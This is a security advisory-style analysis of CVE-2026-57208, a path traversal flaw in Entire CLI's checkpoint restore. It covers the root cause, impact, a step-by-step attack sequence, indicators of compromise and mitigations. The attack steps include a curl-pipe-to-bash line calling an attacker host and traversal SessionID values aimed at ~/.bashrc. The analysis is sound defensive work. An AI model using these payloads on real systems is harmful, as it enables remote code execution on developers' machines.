CVE-2026-57208: 
vulnerability analysis and mitigation

CVE-2026-57208 is a path traversal vulnerability in Entire CLI (github.com/entireio/cli) that allows an attacker with push access to the checkpoints repository to craft malicious checkpoint metadata, causing entire session resume or entire checkpoint rewind to write attacker-controlled transcript data to arbitrary locations on the victim's filesystem. The vulnerability affects all versions up to and including v0.7.6 (and nightly builds prior to v0.7.8-nightly.*). It was privately reported by Navtej Kathuria to the Entire Security team, with the advisory published on June 18, 2026. It carries a CVSS v4 base score of 6.2 (Moderate) (GitHub Advisory, GHSA).

The root cause is improper path validation (CWE-22, CWE-73): the SessionID field from checkpoint metadata fetched from the remote entire/checkpoints/v1 branch was used directly to construct filesystem paths in the restore path (resolveTranscriptPath and RestoreLogsOnly) without sanitization. An attacker who can push to that branch can craft a SessionID containing absolute paths (e.g., /home/user/.bashrc) or path traversal sequences (e.g., ../../.bashrc), causing the CLI to write attacker-controlled transcript bytes to arbitrary user-writable files outside the intended session directory. Secondary issues included unvalidated ToolUseID and SubagentID fields in lifecycle dispatch, unguarded directory creation during rewind restore using raw os.MkdirAll, and glob metacharacters in session IDs that could match unrelated files during state cleanup (GitHub Advisory, PR #1365).

Successful exploitation allows an attacker to overwrite arbitrary files on the victim's machine with attacker-controlled content, limited to files writable by the user running the CLI. The most severe scenario involves overwriting shell initialization files such as ~/.bashrc, which would result in remote code execution the next time the victim opens a shell session — without any prompt or warning shown to the victim. The CVSS v4 assessment reflects high integrity and availability impact on subsequent systems (SI:H, SA:H), with no direct confidentiality impact (GitHub Advisory).

1. Gain push access: Obtain push access to the target repository's entire/checkpoints/v1 branch — this could be through a legitimate collaborator account, a compromised credential, or a repository where push access is broadly granted.
2. Craft malicious checkpoint metadata: Create or modify checkpoint metadata on the entire/checkpoints/v1 branch, setting the SessionID field to a path traversal sequence such as ../../.bashrc or an absolute path like /home/victim/.bashrc.
3. Inject malicious payload: Populate the checkpoint's transcript data with attacker-controlled content (e.g., a shell command like curl http://attacker.com/shell.sh | bash) that will be written to the target file.
4. Wait for victim interaction: Wait for the victim to run entire session resume or entire checkpoint rewind on the repository. The CLI fetches checkpoint metadata from the remote branch and uses the malicious SessionID to construct the write path without validation.
5. Achieve code execution: The attacker-controlled transcript bytes are written to the targeted file (e.g., ~/.bashrc). The next time the victim opens a shell session, the injected commands execute automatically, achieving remote code execution with no prompt shown to the victim (GitHub Advisory, PR #1365).

• File System: Unexpected modifications to shell initialization files (~/.bashrc, ~/.bash_profile, ~/.zshrc, ~/.profile) with timestamps correlating to entire session resume or entire checkpoint rewind execution; files outside the expected .entire/ or agent session directory written with transcript-like content.
• Git/Repository: Suspicious or anomalous SessionID values in checkpoint metadata on the entire/checkpoints/v1 branch containing ../, absolute paths, or unusual characters; unexpected commits to the entire/checkpoints/v1 branch from unfamiliar contributors.
• Logs: CLI output or logs showing session resume/rewind operations writing to unexpected filesystem paths; error messages related to path validation failures in updated versions (v0.7.7+) that may indicate attempted exploitation.
• Process: Unexpected shell commands or network connections initiated from shell startup files shortly after a developer opens a new terminal session following use of entire session resume or entire checkpoint rewind (GitHub Advisory).

Upgrade to Entire CLI v0.7.7 or v0.7.8-nightly.* or later, which enforce strict input validation on SessionID and other identifiers at restore and dispatch boundaries, and use os.Root-scoped filesystem operations for kernel-enforced containment (GitHub Advisory). If immediate upgrade is not possible, avoid running entire session resume or entire checkpoint rewind on repositories where untrusted users have push access to entire/checkpoints/v1; restrict push access to shared repositories; and inspect the entire/checkpoints/v1 branch for suspicious SessionID values before resuming or rewinding. Protecting or making immutable sensitive shell initialization files (e.g., ~/.bashrc) reduces the impact but does not eliminate the vulnerability (GHSA).

The vulnerability was privately reported by security researcher Navtej Kathuria to the Entire Security team and responsibly disclosed. The fix was developed and merged on June 4, 2026 (PR #1365), with a follow-up hardening PR (#1449) merged on June 17, 2026, and the advisory published on June 18, 2026. The Go vulnerability database (GoVulnDB) also tracked this issue. No significant broader media coverage or notable public researcher commentary beyond the GitHub advisory and pull request discussions has been identified (GitHub Advisory, PR #1365).